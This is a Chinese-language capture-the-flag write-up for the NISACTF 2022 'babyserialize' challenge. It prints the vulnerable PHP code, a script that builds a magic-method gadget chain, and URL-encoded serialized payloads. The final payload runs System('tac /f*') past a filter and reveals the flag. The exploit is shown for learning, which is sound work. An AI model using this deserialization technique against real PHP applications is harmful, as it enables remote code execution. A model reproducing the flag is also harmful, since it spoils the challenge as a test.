[NISACTF 2022]babyserialize
一、解题过程
题目代码:
php
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup(){
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString(){
echo $this->fun;
return " ";
}
public function __invoke(){
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup(){
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value){
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
?>
1、分析链条和属性
链条:TianXiWeis(__wakeup)-> Ilovetxw(__call)-> four(__set) -> Ilovetxw(__toString)-> NISA(__invoke)
属性:TianXiWeis(ext=$i)-> Ilovetxw(huang=$f)-> four(fun="sixsixsix";a=$i)-> Ilovetxw(su=$n)-> NISA(txw4ever=命令)
2、序列化代码:这里暂时还不知道waf是什么,暂时也没底,先试试看能不能成功打通链条再说 ᕦ(・ㅂ・)ᕤ
php
<?php
...........................
class照搬
...........................
$t = new TianXiWei();
$i = new Ilovetxw();
$f = new four();
$n = new NISA();
$t->ext=$i;
$i->huang=$f;
$f->fun="sixsixsix";$f->a=$i;
$i->su=$n; //这里可以注释掉,取消Ilovetxw和NISA的魔术方法调用,看看会不会出现NISA的hint提示,从而判断我们构造的代码有没有问题
$n->txw4ever="system('ls');";
//echo serialize($t); 有特殊字符,不能用serialize
echo urlencode(serialize($t)); //记住是序列化t不是n哦~
?>
payload=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D
得到:flag is in /
3、大小写绕过system,tac绕过cat;删除fun内容,跳过hint()提示
payload=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%27tac+%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D
得到:NSSCTF{d0d88168-866b-4c8a-a9ef-e3530912602e}
二、思考总结
(一)、关于题目的小细节
在做这题的时候,我的链条构造一直有:$f->fun="sixsixsix";
但是在看完别人的wp之后,发现并没有进行$f->fun="sixsixsix";
的赋值操作
我在整体的角度看了好久也没看出为什么不赋值也能顺利拿到payload,也去请教了老师
讲讲原因:if里面是**=,不是 ==**!哈哈哈哈
有时候确实代码一长,就容易忽视细节,默认if里面就是判断,其实是错的!
因为该问题,我明白了认真观察、注意细节的重要性。
(二)、关于弱类型比较技巧
这题解决之后,我发现有个评论很有意思
当我们把变量赋值为类对象,在和字符串比较的时候,会被转化为字符串再比较,触发toString魔术方法,少走很多弯路,又学到一个技巧!